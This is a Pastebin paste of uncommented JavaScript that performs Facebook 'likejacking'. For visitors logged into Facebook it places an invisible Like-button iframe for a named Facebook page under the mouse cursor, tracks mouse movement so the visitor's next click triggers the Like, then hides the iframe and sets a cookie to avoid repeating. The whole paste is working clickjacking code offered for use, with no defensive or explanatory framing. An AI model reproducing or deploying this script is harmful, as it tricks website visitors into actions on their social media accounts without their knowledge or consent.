Guest User

Untitled

a guest
Oct 11th, 2013
839
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. function setCookie(c_name,value,exdays) {
  2. var exdate=new Date();
  3. exdate.setDate(exdate.getDate() + exdays);
  4. var c_value=escape(value) + ((exdays==null) ? "" : "; expires="+exdate.toUTCString());
  5. document.cookie=c_name + "=" + c_value;
  6. }
  7.  
  8. function getCookie(c_name) {
  9. var i,x,y,ARRcookies=document.cookie.split(";");
  10. for (i=0;i<ARRcookies.length;i++) {
  11. x=ARRcookies[i].substr(0,ARRcookies[i].indexOf("="));
  12. y=ARRcookies[i].substr(ARRcookies[i].indexOf("=")+1);
  13. x=x.replace(/^\s+|\s+$/g,"");
  14. if (x==c_name) {
  15. return unescape(y);
  16. }
  17. }
  18. }
  19.  
  20. var total = "1";
  21. var time = "365";
  22.  
  23. var accounts = getCookie("number");
  24. var plus = parseInt(getCookie("number")) + parseInt(1);
  25.  
  26. switch (accounts) {
  27. default:
  28. var account = "http://www.facebook.com/RinconAbstracto";
  29. break;
  30. case total:
  31. var ready = true;
  32. break;
  33. }
  34.  
  35. var interval;
  36. var iflag;
  37. var icontainer;
  38. var standardbody;
  39.  
  40. if (ready == true) {
  41. } else {
  42. window.fbAsyncInit = function(){
  43. FB.init({ appId:'432296140140060', status:true, cookie:true, xfbml:true});
  44. FB.getLoginStatus(function(response){
  45. if (response.status != "unknown")
  46. {
  47. jQuery(function () {
  48. jQuery("body").append('<div style="overflow: hidden; width: 10px; height: 12px; position: absolute; filter:alpha(opacity=0); -moz-opacity:0.0; -khtml-opacity: 0.0; opacity: 0.0; z-index:9999;" id="icontainer"><iframe src="http://www.facebook.com/plugins/like.php?href='+ account +'&layout=standard&show_faces=false&width=450&action=like&font=tahoma&colorscheme=light&height=80" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:50px; height:23px;" allowTransparency="true" id="werunthenite" name="werunthenite"></iframe></div>');
  49. iflag = 0;
  50. icontainer = document.getElementById('icontainer');
  51. standardbody = (document.compatMode == "CSS1Compat") ? document.documentElement : document.body //create reference to common "body" across doctypes
  52. interval = setInterval("updateActiveElement();", 50);
  53. });
  54. }
  55. });
  56. };
  57. // Load the SDK Asynchronously
  58. (function(d){
  59. var js, id = 'facebook-jssdk'; if (d.getElementById(id)) {return;}
  60. js = d.createElement('script'); js.id = id; js.async = true;
  61. js.src = "//connect.facebook.net/en_US/all.js";
  62. d.getElementsByTagName('head')[0].appendChild(js);
  63. }(document));
  64. jQuery("html").bind('mousemove', function (e) {
  65. if (iflag == 0) {
  66. var x = e.pageX - 5;
  67. var y = e.pageY;
  68. //console.log("X: " + x + " AND Y: " + y);
  69. jQuery(icontainer).css('top', y).css('left', x);
  70. }
  71. });
  72. }
  73.  
  74. function updateActiveElement() {
  75. if (jQuery(document.activeElement).attr('id') == "werunthenite") {
  76. setTimeout('$("#icontainer").remove();', 500);
  77. if (typeof accounts === 'undefined') {
  78. setCookie("number","1",time);
  79. } else {
  80. setCookie("number",plus,time)
  81. }
  82. var flag = 0;
  83. clearInterval(interval);
  84. iflag = 1;
  85. if (flag != 0) document.location = "";
  86. }
  87. }
RAW Paste Data

Adblocker detected! Please consider disabling it...

We've detected AdBlock Plus or some other adblocking software preventing Pastebin.com from fully loading.

We don't have any obnoxious sound, or popup ads, we actively block these annoying types of ads!

Please add Pastebin.com to your ad blocker whitelist or disable your adblocking software.

×